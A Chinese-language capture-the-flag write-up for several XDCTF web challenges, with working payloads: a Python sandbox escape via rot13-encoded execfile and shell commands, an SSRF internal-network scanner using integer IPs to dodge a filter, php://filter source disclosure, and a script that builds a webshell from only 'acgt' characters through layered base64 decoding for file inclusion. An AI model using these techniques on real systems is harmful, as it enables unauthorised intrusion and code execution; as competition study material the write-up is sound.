国庆在家打了一波xdctf,题目质量挺高的,学到了不少东西。整理了一下web题目,感觉web题的比重越来越小,web狗可能要踏上艰难的转型路了。。。

web2

python沙盒逃逸,这一篇文章介绍的很详细。过滤了os,system,import等关键字,可以通过execfile+编码来绕过过滤。

os模块的popen函数执行系统命令报错,使用subprocess模块的call函数。

flag中的l被替换,find找不到,一个一个目录翻的。。。

payload:

1
2
3
#!/usr/bin/python
execfile('/hfe/yvo/clguba2.7/fhocebprff.cl'.decode('rot13'))
call("cat /codes/f1ag_34t6refg812rewfuy", shell=True)

web3

flag页面的URL为http://web.ctf.xidian.edu.cn/web3/?file=flag.html,推测为文件读取。

将flag.html改为index.php获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
/*//设置open_basedir
ini_set("open_basedir", "/home/shawn/www/index/");
*/

if (isset($_GET['file'])) {
$file = trim($_GET['file']);
} else {
$file = "main.html";
}

// disallow ip
if (preg_match('/^(http:\/\/)+([^\/]+)/i', $file, $domain)) {
$domain = $domain[2];
if (stripos($domain, ".") !== false) {
die("Hacker");
}
}

if( @file_get_contents($file)!=''){
echo file_get_contents($file);

}else{
/*省略部分*/

在这里卡了很久,最后推测是ssrf,通过读取/etc/hosts文件得知内网ip为172.18.0.3

由于正则表达式过滤了形如127.0.0.1的ip,使用整形ip来代替,扫描内网。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#-*- coding:utf-8 -*-
import socket
import requests
import urllib

for i in range(1, 256):
ip = '172.18.0.%d' % i
int_ip = int(socket.inet_aton(ip).encode('hex'), 16)
#print int_ip
r = requests.get('http://web.ctf.xidian.edu.cn/web3/?file='+urllib.quote_plus('http://%d' % int_ip))
if 'flag' in r.text:
print ip, int_ip
print r.text
break

172.18.0.2有flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
172.18.0.2 2886860802
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.13.5</center>
</body>
</html>
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- do u see me? ha flag{0e34c0321b2b3048d399b41a8ffda584} -->

upload

page.php存在文件包含漏洞,可以通过php伪协议来读取文件

1
http://web.ctf.xidian.edu.cn/web5/page.php?file=php://filter/convert.base64-encode/resource=index.php

得到page.php和upload.php的源码。

page.php

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
@$file = $_GET["file"];
if(isset($file)) {
if (preg_match('/data|input|read/i', $file) || strstr($file,"../") !== FALSE ) {
echo "<p> error! </p>";
} else {
include($file);
}
}
?>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
session_start();

if (isset($_FILES[file]) && $_FILES[file]['size'] < 4 ** 8) {
$d = "./tmp/" . md5(session_id());
@mkdir($d);
$b = "$d/" . pathinfo($_FILES[file][name], 8);
file_put_contents($b, preg_replace('/[^acgt]/is', '', file_get_contents($_FILES[file][tmp . "_name"])));
echo $b;
}
?>

page.php没什么好说的,upload.php的正则将不是acgtACGT的字符全部替换为空了。

一开始的以为是没有使用move_uploaded_file函数,临时文件会有问题,不出意外思路完全偏了(菜的不行,脑洞还挺大。。。)。临时文件在脚本执行结束就直接删除了。也想过从正则入手,还是姿势不够,完全没进展。

我们需要使用acgtACGT这8个字符来构造一个webshell,然后配合文件包含来使用。

知识点来了:php的base64解码函数为了提高自己的容错性,如果参数中有非法字符 (不在 base64 的 64 个字符范围内的) 就会跳过。

mark

思路是这样的,首先得到acgt的全排列,然后将他们解码,得到的明文必然会出现新的字符,通过这种方法不断扩充可用字符,直到base64编码的64个字符全部可用。

mark

上面这个例子:acgtacgtacgtacgt的解码结果为'i\xc8-i\xc8-i\xc8-i\xc8-',里面有可用字符i,由于解码函数的容错性'i\xc8-i\xc8-i\xc8-i\xc8-'的解码结果与iiii是相同的。

写脚本生成webshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#-*- coding:utf-8 -*-
import itertools
import string

allow_chars = set('acgt')
shell = '<?php phpinfo();?>'
base64_chars = string.letters + string.digits + '+/' #base64可用字符集
table = []

def get_chars(allow_chars):
global table
l = list(itertools.permutations(allow_chars, 4)) #获取可用字符的全排列
chars = {}
for data in l:
data = ''.join(data)
decode_data = data.decode('base64')
#寻找合法字符,用可用字符代替,扩充字符集
counter = 0
t = ''
for char in decode_data:
if char in base64_chars:
counter += 1
t = char
if counter == 1:
chars[t] = data
table.append(chars)
return table if (len(chars.keys()) == len(base64_chars)) else get_chars(chars.keys())

def base64_encode(data):
return data.encode('base64').replace('=', '').replace('\n', '')

#一层层将字符串替换为可用字符
def get_encode_shell(data, table):
data = base64_encode(data)
temp = ''
for chs in table[::-1]:
for ch in data:
temp += chs[ch]
data = temp
temp = ''
return data

if __name__ == '__main__':
dicts = get_chars(allow_chars)
encode_shell = get_encode_shell(shell, dicts)
print encode_shell
with open('shell', 'w') as f:
f.write(encode_shell)
print 'php://filter/convert.base64-decode/resource='*(len(table) + 1)

speech

时代在进步,社会在发展,web题都和机器学习结合在一起了。。。发给玩机器学习的学长学弟,看了很久也没个结果,只能含泪跳过了。。。